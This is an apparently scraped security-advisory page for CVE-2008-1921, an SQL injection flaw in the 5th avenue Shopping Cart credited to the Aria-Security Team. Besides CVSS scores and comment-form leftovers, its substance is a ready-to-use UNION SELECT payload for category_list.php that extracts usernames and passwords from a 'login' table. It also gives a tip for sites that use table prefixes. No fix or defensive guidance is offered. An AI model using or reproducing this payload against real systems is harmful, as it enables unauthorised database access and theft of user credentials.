5th avenue Shopping Cart SQL Injection

2008.04.22

Credit: The-0utl4w

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-1921

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Aria-Security Team (Persian Security Team)

http://Aria-Security.Net (Persian)

http://Aria-Security.com (ENG)

--------------------------------------------

5th avenue Shopping Cart SQL Injection

Greetz: AurA, Kinglet, NULL

category_list.php?category_ID=-1/**/UNION/**/SELECT/**/1,username,passwo
rd,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/login/*

note: if error says :table login does not exist the website is using a prefix for tables.

Regards,

The-0utl4w

Reported originaly at:

http://forum.aria-security.com/showthread.php?p=76

http://forum.aria-security.net/showthread.php?p=2233

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

5th avenue Shopping Cart SQL Injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.